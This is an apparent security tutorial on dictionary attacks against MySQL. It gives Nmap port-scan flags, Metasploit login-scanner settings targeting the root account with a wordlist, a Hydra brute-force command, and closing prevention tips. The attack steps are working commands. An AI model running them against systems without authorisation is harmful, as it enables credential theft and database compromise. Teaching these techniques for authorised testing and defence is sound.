What is a Dictionary Attack?¶
A dictionary attack is a password-guessing technique where a list of common passwords (a wordlist) is used to attempt authentication repeatedly until a valid password is found. For MySQL, this helps identify weak or default credentials that may compromise database security.
Step 1: Identify MySQL Service with Nmap¶
First, confirm that the MySQL service is running on the target system and enumerate its version.
Explanation:
-
-p 3306→ Scans MySQL's default port -
-sV→ Identifies the service and version details
Example Output:
This confirms MySQL is reachable and running.
Step 2: Perform MySQL Dictionary Attack using Metasploit¶
Launch Metasploit Framework:
Load the MySQL login scanner module:
Configure the options:
set rhosts <IP Address>
set pass_file /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
set verbose false
set stop_on_success true
set username root
run
Parameter Breakdown:
-
rhosts→ Target host IP -
pass_file→ Wordlist containing possible passwords -
stop_on_success→ Stops attack when a working credential is found -
username→ Username to brute-force
Expected Success Output:
Step 3: Perform SQL Login Attack using Hydra¶
Hydra is a fast password-guessing tool commonly used for different protocols, including MySQL.
Command:
hydra -l root -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt <IP Address> mysql
Explanation:
-
-l root→ Username to attack -
-P→ Path to wordlist -
mysql→ Target service protocol
Example Output:
When to Use Which Tool?¶
| Tool | Purpose | Strength |
|---|---|---|
| Nmap | Identify service & version | Fast reconnaissance |
| Metasploit | More advanced exploitation | Can stop on success & gives detailed output |
| Hydra | Faster brute forcing | Supports many protocols |
Prevention (Security Best Practices)¶
To protect MySQL servers against dictionary attacks:
-
Use strong, complex passwords
-
Disable remote root login
-
Limit MySQL access to trusted IPs only
-
Implement firewall rules
-
Monitor login attempts and enable logging